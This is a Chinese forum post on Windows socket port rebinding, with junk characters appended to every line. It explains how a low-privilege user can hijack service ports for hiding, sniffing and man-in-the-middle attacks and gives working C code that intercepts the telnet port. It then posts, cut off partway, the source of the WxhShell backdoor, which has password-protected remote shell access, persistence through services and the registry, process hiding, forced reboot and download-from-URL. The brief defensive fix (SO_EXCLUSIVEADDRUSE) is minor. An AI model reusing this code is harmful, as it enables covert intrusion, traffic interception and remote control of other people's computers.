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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7fUi?41XA  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K# /Ch5?  
dw3'T4TC?  
  saddr.sin_family = AF_INET; bYK]G+Ww  
hg{ &Y(J!U  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); kv/(rKLp*  
jXtLo,km  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); o;%n,S8J|^  
lR, G;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 YyG~#6aCh  
vmMV n-\#  
  这意味着什么?意味着可以进行如下的攻击: A=W5W5l(>  
\ x:_*`fU  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Up'."w_zE  
XQ4dohGCP  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) SK}HXG{?  
2=Jmi?k  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7f[8ED[4  
9Y\F53p&j  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  aam1tm#Q  
JTjzT2`A.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8.PXTOhVL  
ipfm'aQ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 T4l-sJ'|  
k-io$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $,g 3*A  
BSjbnnW}"  
  #include 8Er[M  
  #include B{^`8Htrn  
  #include F>TYVxQ  
  #include    RsR] T]4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7L1\1E:!  
  int main() gW/QFZjY  
  { O~nBz):2  
  WORD wVersionRequested; v]l&dgoT  
  DWORD ret; t]gq+ c Lo  
  WSADATA wsaData; G[y&`Qc)G  
  BOOL val; tnA_!$Y a  
  SOCKADDR_IN saddr; S[ws0Y60  
  SOCKADDR_IN scaddr; Feh"!k <6k  
  int err; </8be=e7p  
  SOCKET s; {V{0^T-  
  SOCKET sc; ,o4r,.3[s  
  int caddsize; gD,A9a(3  
  HANDLE mt;  \\y}DNh  
  DWORD tid;   3KDu!w@  
  wVersionRequested = MAKEWORD( 2, 2 ); >t2]Ssi(  
  err = WSAStartup( wVersionRequested, &wsaData ); M^Q&A R'F  
  if ( err != 0 ) { ,HQ1C8  
  printf("error!WSAStartup failed!\n"); F]hx  
  return -1; Z#srQD3].(  
  } ^ yY{o/6  
  saddr.sin_family = AF_INET; M}R@ K;%  
   8+=p8e~An  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 yY-FL`-  
AECxd[k$9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); XB6N[E  
  saddr.sin_port = htons(23); WT;.>F  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XCKY xv&  
  { cw*(L5b u  
  printf("error!socket failed!\n"); V< 2IIH5^  
  return -1; cr2{sGn|  
  } ]JkpRaP$  
  val = TRUE; 07~pf}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 A/ox#(!v  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0G+L1a-  
  { G~Sy&XJuq  
  printf("error!setsockopt failed!\n");  aOaF&6'j  
  return -1; Lw!?T(SK  
  } K<Yn_G  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; i528e{&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _%AJmt}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Wm];pqN  
B:.;,@r]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) MoC*tImWR  
  { aNuZ/9O  
  ret=GetLastError(); uzat."`d'  
  printf("error!bind failed!\n"); t;Fbt("]:  
  return -1; ~{52JeUcP  
  } +!mNm?H[!  
  listen(s,2); qk"oFP6  
  while(1) /1[}G!  
  { ph}wnIW]  
  caddsize = sizeof(scaddr); bCJ<=X,g`K  
  //接受连接请求 ~(Ih~/5\^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ; 'b!7sMO~  
  if(sc!=INVALID_SOCKET) &>+I7Ts]  
  { 6E)uu; 8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); O2V6UX@&<w  
  if(mt==NULL) n.;5P {V1  
  { =woqHTR  
  printf("Thread Creat Failed!\n"); (ffOu#RQ3  
  break; 9RCB$Ka6X  
  } ~Q.8 U3"  
  } /j=DC9_  
  CloseHandle(mt); , }xpYq_/  
  } Vq)|gF[6i  
  closesocket(s); #`YxoY`  
  WSACleanup(); b#/V;  
  return 0; 0+VncL)u  
  }   dQWA"6 ?i  
  DWORD WINAPI ClientThread(LPVOID lpParam) %^Q@*+{:f  
  { ;XKo44%  
  SOCKET ss = (SOCKET)lpParam; pqGf@24c<  
  SOCKET sc; ;T"m [D  
  unsigned char buf[4096]; )-TeDIfm  
  SOCKADDR_IN saddr; )%H5iSNG$P  
  long num; B5?c'[V9  
  DWORD val; gMoyy  
  DWORD ret; `-9*@_ -=M  
  //如果是隐藏端口应用的话,可以在此处加一些判断 j? Jd@(*y$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $_ I%1  
  saddr.sin_family = AF_INET; Os]!B2j14  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _{Fdw  
  saddr.sin_port = htons(23); w<I5@)i|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *`QdkVER  
  { D>"{H7m Y  
  printf("error!socket failed!\n"); Qw{\sCH>  
  return -1; ~#N.!e4  
  } >%jEo'0;_  
  val = 100; W?4&lC^G  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V5(tf'  
  { 5~kW-x  
  ret = GetLastError(); 7E\K!v_  
  return -1; jl 30\M7  
  } {Vt^Xc  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >? A `C!i  
  { +QCU]Fozk  
  ret = GetLastError(); =ihoVA:|  
  return -1; (c*7VO;  
  } O>o}<t7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) cfy/*|  
  { Xdp`Z'g  
  printf("error!socket connect failed!\n"); C[87f-g  
  closesocket(sc); 2y .-4?e  
  closesocket(ss); U{za m  
  return -1; `Q(]AG I2  
  } C&d"#I  
  while(1) B'lxlYV1  
  { r-\T}e2Gz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 # ZYid t  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;?HZ,"^I  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 AT'_0> x8  
  num = recv(ss,buf,4096,0); dWq/)%@t  
  if(num>0) )W}/k$S  
  send(sc,buf,num,0); v|,[5IY  
  else if(num==0) "k_n+cH%  
  break; 1>*UbV<R;u  
  num = recv(sc,buf,4096,0); 0[$Mo3c+'  
  if(num>0) bTo@gJk n  
  send(ss,buf,num,0); 0D]Yz`n3  
  else if(num==0) !=q:> }g  
  break; '#An+;x{  
  } P/1UCITq}  
  closesocket(ss); |<+|Du1  
  closesocket(sc); +y{93nl  
  return 0 ; 3Av(|<cR  
  } 2*7s 9g  
}:c,S O!  
q3pN/f;kr,  
========================================================== ja,L)b:  
p#8LQP~0$  
下边附上一个代码,,WXhSHELL P20]>Hg  
zN8V~M;  
========================================================== AN:RY/ %Wo  
:x*|lz[  
#include "stdafx.h" ]rX?n  
>-tH&X^  
#include <stdio.h> 'i h  
#include <string.h> E 4$h%5  
#include <windows.h> 5 1CU@1Ie  
#include <winsock2.h> Rcx'a:k  
#include <winsvc.h> HTtGpTsF  
#include <urlmon.h> gkq RO19  
Xw}Y!;<IEu  
#pragma comment (lib, "Ws2_32.lib") Rp%\`'+Xz  
#pragma comment (lib, "urlmon.lib") C4SD  
:+dWJNY:  
#define MAX_USER   100 // 最大客户端连接数 HV.|Eh_7  
#define BUF_SOCK   200 // sock buffer Mbi+Vv-  
#define KEY_BUFF   255 // 输入 buffer  ~bWWu`h  
z1@sEfk>  
#define REBOOT     0   // 重启 JjTzq2'%  
#define SHUTDOWN   1   // 关机 x8rFMR#S=  
X#NeB>~  
#define DEF_PORT   5000 // 监听端口 p ra-8z-  
)]>Y*<s }  
#define REG_LEN     16   // 注册表键长度 __zu- !v  
#define SVC_LEN     80   // NT服务名长度 H7XxME  
+Tc(z{;  
// 从dll定义API )}9}"jrDlx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3=L1HZH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U%PMV?L{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mX_Uhpw?t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~9/nx|%D  
H1b%:KRVK  
// wxhshell配置信息 g2b4 ia!L  
struct WSCFG { Vx4pP$S  
  int ws_port;         // 监听端口 0&L0j$&h  
  char ws_passstr[REG_LEN]; // 口令 ~\s &]L  
  int ws_autoins;       // 安装标记, 1=yes 0=no .2SIU4[P  
  char ws_regname[REG_LEN]; // 注册表键名 fjZveH0  
  char ws_svcname[REG_LEN]; // 服务名 zvs 2j"lb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qx<zX\qI6n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N+@@EOmH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nF[eb{GR`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  E_I6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yar IR|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~x^+OXf!^g  
T9;o.f S  
}; d?qO`- ~$  
$Qc%9p @i  
// default Wxhshell configuration )Jjw}}$}Y  
struct WSCFG wscfg={DEF_PORT, pS)X\Xyw  
    "xuhuanlingzhe", &b]KMAo3  
    1, Z 7ZMu  
    "Wxhshell", 6Q?6-,?_  
    "Wxhshell", *Lk&@(  
            "WxhShell Service", ~)CU m[:oM  
    "Wrsky Windows CmdShell Service", Yiw^@T\H`  
    "Please Input Your Password: ", 7X3l&J2C4l  
  1, 8; N}d)*O  
  "http://www.wrsky.com/wxhshell.exe", owVUL~  
  "Wxhshell.exe" ] j?Fk$C  
    }; |0 pBBDw  
UY& W]  
// 消息定义模块 xu pdjT%4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?[fl$EG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Uz8C!L ">C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |2]WA'q  
char *msg_ws_ext="\n\rExit."; WaK{/6?T,  
char *msg_ws_end="\n\rQuit."; }Ml z\'{  
char *msg_ws_boot="\n\rReboot..."; 7Qztc?XK  
char *msg_ws_poff="\n\rShutdown..."; LZbHK.G=  
char *msg_ws_down="\n\rSave to "; DppvUiQB!a  
E0x$;CG!  
char *msg_ws_err="\n\rErr!"; ]CJ>iS!V  
char *msg_ws_ok="\n\rOK!"; (%IstR|u:  
H.S|njn:r  
char ExeFile[MAX_PATH]; w8@|b}  
int nUser = 0; 'eXw`kw(  
HANDLE handles[MAX_USER]; u= i^F|  
int OsIsNt; b,V=B{(~  
oDDH;Q"M(  
SERVICE_STATUS       serviceStatus; 5GpKX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g wiC ,  
U`4Z j1y  
// 函数声明 %+JTQy  
int Install(void); mZ&Mj.0+~  
int Uninstall(void); _4#psxl[M  
int DownloadFile(char *sURL, SOCKET wsh); 8[p6C Jl)  
int Boot(int flag); PbH]K$mj{"  
void HideProc(void); Y##P9^zH1  
int GetOsVer(void); [5:7 WqB  
int Wxhshell(SOCKET wsl); @wZ_VE7B  
void TalkWithClient(void *cs); S|h  m  
int CmdShell(SOCKET sock); z4UQ:z@  
int StartFromService(void); vu \Dx9  
int StartWxhshell(LPSTR lpCmdLine); @G{DOxE*  
|#kf.kN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AiI# "  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~Q\ZDMTK  
+~AI(h  
// 数据结构和表定义 (ZSSp1R v  
SERVICE_TABLE_ENTRY DispatchTable[] = '0]_8Sy&  
{ cuk}VZ  
{wscfg.ws_svcname, NTServiceMain}, AUpC HG7  
{NULL, NULL} F!t13%yeu?  
}; laJ%fBWmbi  
} dlNMW  
// 自我安装 tzN;;h4C  
int Install(void) 6$.Xj\zl  
{ z,P7b]KVe  
  char svExeFile[MAX_PATH]; O|m-k0n  
  HKEY key; dgD%I  
  strcpy(svExeFile,ExeFile); p=T\3_q  
c$z_Zi!g#  
// 如果是win9x系统,修改注册表设为自启动 @_nhA/rlc  
if(!OsIsNt) { "Jd1&FsCwX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #ms98pw%5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nxRrmR}F  
  RegCloseKey(key); c?Qg :yU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KO"iauW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~q>ilnL"h  
  RegCloseKey(key); 73`UTXvWU  
  return 0; 1mM52q.R4  
    } |B.d7@{mM  
  } #8|NZ6x,  
} eci\Q,   
else { >>xV-1h:  
*(IO<KAg8  
// 如果是NT以上系统,安装为系统服务 " <AljgF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o%5Ao?z~  
if (schSCManager!=0) <K'gvMG[  
{ ( #Aq*2Z.  
  SC_HANDLE schService = CreateService bV,R*C  
  ( @/iLC6QF  
  schSCManager, W=w@SO_?wp  
  wscfg.ws_svcname, ylJlICK  
  wscfg.ws_svcdisp, 9q{dRS[A  
  SERVICE_ALL_ACCESS, |7fBiVo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p}z0(lQ*~  
  SERVICE_AUTO_START, u'> CU  
  SERVICE_ERROR_NORMAL, ITiw) M  
  svExeFile, t,6=EK*3T  
  NULL, ?g.w%Mf*  
  NULL, giq`L1<  
  NULL, y~[So ,G  
  NULL, 5gEK$7Vp  
  NULL vX%gcs/@  
  ); ZQ/5]]}3y  
  if (schService!=0) $!@f{9+  
  { 7 #N @B  
  CloseServiceHandle(schService); HOG7||&y  
  CloseServiceHandle(schSCManager); O}V2> W$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \O~P !`  
  strcat(svExeFile,wscfg.ws_svcname); p,fin?nW c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =;T[2:JUu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p04w 83 jX  
  RegCloseKey(key); V5 w^Le_^  
  return 0; R4;6Oi)  
    } lHXH03  
  } nU)f]4q{Ec  
  CloseServiceHandle(schSCManager); ~K`bl W47  
} `^[ra% a  
} yhmW-#+^e  
Lf9h;z>#  
return 1; ^g\%VIOD  
} f*Bc`+G  
yvvR%]!.  
// 自我卸载 {n'}S(  
int Uninstall(void) bE"CSK#  
{ /2q%'"x(  
  HKEY key; 3]P=co@  
?`$4ZDM  
if(!OsIsNt) { |Gi/=[Tp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +L6$Xm5DAv  
  RegDeleteValue(key,wscfg.ws_regname); ly@CX((W  
  RegCloseKey(key); zx*f*L,6F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?1sY S  
  RegDeleteValue(key,wscfg.ws_regname); [R$4n-$  
  RegCloseKey(key); G39t'^ZK*#  
  return 0; ^ z;pP  
  } "mA/:8`Q  
} _QY "#  
} +W`~bX+  
else { 8:MYeE5  
Q@R8qc=*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "+AD+D  
if (schSCManager!=0) J2rH<Fd[up  
{ c 9@*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {Bx\Z0+'&  
  if (schService!=0) hSmM OS{  
  { A6VkVJZx  
  if(DeleteService(schService)!=0) { >e%Po,Fg$  
  CloseServiceHandle(schService); ^.Q),{%Xo  
  CloseServiceHandle(schSCManager); Aj_}B.  
  return 0; aUV>O`|_  
  } ux=@"!PJ  
  CloseServiceHandle(schService); S{ !hpq~o  
  } :gXj( $  
  CloseServiceHandle(schSCManager); R.@GLx_zpQ  
} w&H7S{  
} w]}v m-  
.1;?#t]ZV  
return 1; )I@iW\`7  
} `XQ5>c  
Sl1N V  
// 从指定url下载文件 Lfor 0-j  
int DownloadFile(char *sURL, SOCKET wsh) 4|qp&%9-  
{ 23PSv8;EM  
  HRESULT hr; {#MViBhd%  
char seps[]= "/"; x UYSD  
char *token; 0#G"{M  
char *file; TocqoYX{{  
char myURL[MAX_PATH]; k6XO-a f  
char myFILE[MAX_PATH]; X'Oo ogu  
2B# \683  
strcpy(myURL,sURL); G>b1No3%k  
  token=strtok(myURL,seps); 8}&cE#@  
  while(token!=NULL) eF9LZ"-s  
  { `#hy'S:e  
    file=token; 2mRso.Ah  
  token=strtok(NULL,seps); B(~D*H2T[  
  } 9I9)5`d|Jn  
pR $c<p  
GetCurrentDirectory(MAX_PATH,myFILE); \hz)oC   
strcat(myFILE, "\\"); U1Oq"Ij~  
strcat(myFILE, file); |kn}iA@72p  
  send(wsh,myFILE,strlen(myFILE),0); @0G} Q  
send(wsh,"...",3,0); J0`?g6aY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1{*x+GC^/  
  if(hr==S_OK) _Uq'eZol  
return 0; u[% #/  
else j2z$kw%  
return 1; wBf bpoE7  
Tb[GZ,/%;  
} U[ed#9l>  
:?,& u,8  
// 系统电源模块 A /MOY@%G  
int Boot(int flag) tU(6%zvR  
{ @U}UCG7+  
  HANDLE hToken; uBM1;9h  
  TOKEN_PRIVILEGES tkp; wG B'c's*  
WrV|<%EQh  
  if(OsIsNt) { )S]c'}^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XH/|jE.9^|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Gfvz%%>l  
    tkp.PrivilegeCount = 1; +1rJ;G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8w\&QX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w v1R ]3}  
if(flag==REBOOT) { TS-[p d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (mzyA%;W  
  return 0; ~DSle 3  
} ,{%[/#~6  
else { @{bf]Oc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !"wIb.j }0  
  return 0; QRRZMdEGs[  
} up`6IWlLE  
  } _*+M'3&=  
  else { yO !*pC  
if(flag==REBOOT) { h0GXN\xI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FIuKX"XR  
  return 0; Gce![<|ph  
} ow&R~_  
else { vt1!|2{ h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d"V^^I)yx&  
  return 0; I;No++N0  
} 3[c54S+(U  
} ^Tl|v'   
%T&kK2d;  
return 1; MT3UJ6~P  
} M|\ XFO  
qU}[( 9~Ru  
// win9x进程隐藏模块 {BF$N#7  
void HideProc(void) Dd*C?6  
{ x[_+U4-/  
Ft07>E$/Q^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %rf<YZ.\  
  if ( hKernel != NULL ) C 9DRVkjj  
  { CkOd>Kn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f#!Ljjf$;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8r~4iVwg  
    FreeLibrary(hKernel); rtPQ:CaA)?  
  } wy7f7zIa  
v +7<}  
return; a{y ;Ub  
} P:Bg()  
TG!sck4/-Q  
// 获取操作系统版本 n|8fdiK#}  
int GetOsVer(void) /m%;wH|6%  
{ +Ix;~  
  OSVERSIONINFO winfo; OH&&d=~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1vX97n<}  
  GetVersionEx(&winfo); Y M5;mPR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qLcs)&}/A  
  return 1; F&ux9zP  
  else 3t8VH`!mL{  
  return 0; 1%>/%eyn5  
} -&+[/  
VLRW,lR9O  
// 客户端句柄模块 . 8k9yk  
int Wxhshell(SOCKET wsl) O5E\#*<K  
{ u-8,9  
  SOCKET wsh; D&.+Dx^G  
  struct sockaddr_in client; LnLuWr<;}  
  DWORD myID; o_{-X 1w  
t)5bHVx  
  while(nUser<MAX_USER) O Qd,.m  
{ Qax=_[r  
  int nSize=sizeof(client); BeBa4s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hivWQ$6%  
  if(wsh==INVALID_SOCKET) return 1; X'O3)Yg  
Wq]^1g_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M4`qi3I  
if(handles[nUser]==0) Fvg>>HVu  
  closesocket(wsh); ,XR1N$LN8_  
else 3~Ah8,  
  nUser++; gd2cwnP  
  } K1jE_]@Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L,BuzU[1S  
&S/KR$^ %  
  return 0; }DoNp[`  
} L\o-zNY  
iXI > >9  
// 关闭 socket a:C ly9  
void CloseIt(SOCKET wsh) G8j$&1`:  
{ t}+P|$[  
closesocket(wsh); ?3[as<GZ8  
nUser--; H}`}qu #~V  
ExitThread(0); jruwdm^  
} Rkgpa/te"  
FK<1SOE  
// 客户端请求句柄 r"c<15g2'  
void TalkWithClient(void *cs) =5J}CPKbZI  
{ [8[g_  
n{aD4&  
  SOCKET wsh=(SOCKET)cs; OLTgBXh  
  char pwd[SVC_LEN]; 'V/+v#V+>  
  char cmd[KEY_BUFF]; bDK72cQ  
char chr[1]; Rjt]^gb!*  
int i,j; TF2'-"2Y  
h<JV6h:8  
  while (nUser < MAX_USER) { ("?V|  
> <^ ,  
if(wscfg.ws_passstr) { @w?hX K=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); saY":fva  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CKCot  
  //ZeroMemory(pwd,KEY_BUFF); 4"7/+6Z  
      i=0; w6aq/m"'  
  while(i<SVC_LEN) { kocgPO5  
FbhF45H  
  // 设置超时 <<4U:  
  fd_set FdRead; yJNQO'wcv  
  struct timeval TimeOut; @X5F$=aqZr  
  FD_ZERO(&FdRead); @#rF8;  
  FD_SET(wsh,&FdRead); g\:(1oY  
  TimeOut.tv_sec=8; WWZ`RY  
  TimeOut.tv_usec=0; P9c!   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); br`cxgZ0"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?NWc3 .  
-Q9} gaH_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;<hLy(@  
  pwd=chr[0]; <*oTVl4fS  
  if(chr[0]==0xd || chr[0]==0xa) { R.^ Y'TLyc  
  pwd=0; j`7q7}  
  break; hv (>9N  
  } mQUI9  
  i++; "n'kv!?\  
    } ZW7z[,tk<.  
n<3qr}ZG^  
  // 如果是非法用户,关闭 socket ip8%9fG\>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -c4g;;%  
} y rH@:D/  
9?]69O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (X zy~l<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #83`T&Xw*  
)xm[mvt  
while(1) { ]-g9dV_[>j  
JCO+_d#x  
  ZeroMemory(cmd,KEY_BUFF); Ui|z#{8&  
LT[g +zGB  
      // 自动支持客户端 telnet标准   O pavno%&  
  j=0; SR_<3WW  
  while(j<KEY_BUFF) { 4M*Z1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?*LVn~y  
  cmd[j]=chr[0]; .7BJq?K.  
  if(chr[0]==0xa || chr[0]==0xd) { q<[m(]:  
  cmd[j]=0; _59f.FsVR  
  break; x/NjdK  
  } x4bmV@b  
  j++; ]}4JT  
    } HQ:Y:  
\~X:ffb =  
  // 下载文件 #fy3 i+  
  if(strstr(cmd,"http://")) { :_k5[KT.]9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \:-"?  
  if(DownloadFile(cmd,wsh)) /L{V3}[j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fb+_]{7g  
  else FRhHp(0}5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t03X/%H  
  } ?xW,2S  
  else { iVT)V>Up  
<c3Te$.  
    switch(cmd[0]) { oZ5 ,y+L4  
  L9{y1'')  
  // 帮助 L;h|Sk]{  
  case '?': { fDjJdRS"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4v.{C"M  
    break; swKqsN.  
  } 7?ICXhu9  
  // 安装 UMUG~P&@  
  case 'i': { ;W{2\ Es  
    if(Install()) +?)R}\\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #(7^V y&  
    else <c%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <P~pn!F}  
    break; vN&(__3((  
    } ;oCSKY4  
  // 卸载 C <Pd_&  
  case 'r': { #$X _,+<HZ  
    if(Uninstall()) uA4x xY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); muAgsH$/  
    else %0Ibi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BEtFFi6ot  
    break; @.)WS\Cv#E  
    } 0oQJ}8t  
  // 显示 wxhshell 所在路径 ',Y`\X  
  case 'p': { nc3u sq  
    char svExeFile[MAX_PATH]; 8 qlQC.VA[  
    strcpy(svExeFile,"\n\r"); y!8m7a  
      strcat(svExeFile,ExeFile); E(F?o.b  
        send(wsh,svExeFile,strlen(svExeFile),0); jP#I](\eG  
    break; 1>=%TIO)  
    } X2T_}{  
  // 重启 i&KBMx   
  case 'b': { ;;S9kNp^v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }Q a  
    if(Boot(REBOOT)) H1c>3c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Wgkf_3  
    else { 0SR[)ma  
    closesocket(wsh); & LhQr-g  
